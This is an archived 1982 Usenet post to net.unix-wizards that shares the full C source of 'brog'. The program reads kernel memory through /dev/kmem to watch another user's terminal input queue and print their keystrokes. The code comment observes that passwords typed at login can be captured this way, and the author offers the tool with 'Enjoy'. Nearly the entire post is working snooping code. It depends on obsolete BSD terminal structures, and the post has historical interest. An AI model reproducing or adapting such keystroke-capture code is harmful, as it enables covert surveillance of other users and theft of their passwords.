From: utzoo!decvax!cca!rehmi.umcp-cs@UDel-Relay@sri-unix
Newsgroups: net.unix-wizards
Title: I felt slightly obnoxious, so....
Article-I.D.: sri-unix.4785
Posted: Fri Dec 10 04:52:57 1982
Received: Sat Dec 11 01:34:02 1982

From:     Khron The Elder <rehmi.umcp-cs@UDel-Relay>
Date:     6 Dec 82 20:29:25 EST  (Mon)
I wrote a cute lil program several months ago that made me a collector....
I won't say what it does.... All people I've talked to said they haven't seen
any such program in Unix. For what it's worth.........

-----------------------------------------------------------------------------
static char *sccsid="brog.c KtE (aka Rehmi) U of Mud Sep. 11 1982";
/*
 *  brog - (this name has no mnemonic value whatsoever......)
 *  watch someone else's input queue, works well unless they're in
 *  a mode where chars are gobbled quickly, id est raw or cbreak.
 *  This also works on output queues but loses because the drivers snarf
 *  too quickly. Assumes a readable /dev/kmem.
 *  (Btw, getpass() doesn't usually put the term into a gobble mode...)
 *  [As in from 'login'...]
 */
#include <sys/types.h>
#include <stdio.h>
#define CBSIZE 28
#define CROUND 0x1F
#define BUF 4096
#define WaitMuch 250
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>

struct nlist nl[] = {{"_dz_tty"}, {"_dh11"}, {"_cons"}, {0}, };
/* Our system happens to have tty's 0-15 on dz's, the rest (16-63) on dh's */
#define X_DZ_TTY 0
#define X_DH11	1
#define X_CONS 2

main(argc, argv)
int argc;
char **argv;
{
	int wbuf();
	struct tty *thistty, *rootty, tt;
	struct clist *physaddr;
	int kmemfd;
	char *old_cl=0;
	int old_cc=0;
	
	register char cbuf[BUF], outbuf[BUF];
	register unsigned int i, j, k;
	register struct cblock *foo;

	nlist("/vmunix", nl);
	j=atoi(argv[1]);
	if(argv[1][0]=='c')
		rootty=(struct tty *)nl[X_CONS].n_value;
	else
		rootty=(struct tty *)nl[(j<16) ? X_DZ_TTY : X_DH11].n_value;

	thistty=rootty+((j<16) ? j : (j-16));
	physaddr= &(thistty->t_rawq);

	kmemfd=open("/dev/kmem",0);
loop:
#ifdef SLEEP
	ipcmessagewait(-1, WaitMuch);
#endif
	lseek(kmemfd, (char *)physaddr, 0);
	read(kmemfd, &tt.t_rawq, sizeof tt.t_rawq);
	j=tt.t_rawq.c_cc;

	if (j){
	  if(j<old_cc) { outbuf[k++]='\n'; write(1, outbuf, k); }
	  lseek(kmemfd, tt.t_rawq.c_cf-4, 0);
	  read(kmemfd, cbuf, BUF);
	  foo=(struct cblock *)cbuf;
	  k=i=0;
	  for(;;) {
	    k+=wbuf(outbuf+k, foo->c_info,
		    ((j-k)>=CBSIZE ? CBSIZE : (j-k)));
	    i=((int)foo->c_next)-((int)tt.t_rawq.c_cf-4);
	    if((i<BUF) && (i>=0) && (k<j))
	      foo=(struct cblock *)(cbuf+i);
	    else
	      break;
            }
	  old_cc=j;
	  }
	goto loop;
}

int wbuf(to, from, n)
register char *to, *from;
register int n;
{
	int m=n;
	
	while(n--) *to++ = *from++;
	return(m);
}

-----------------------------------------------------------------------------
Enjoy.... 
						-Rehmi-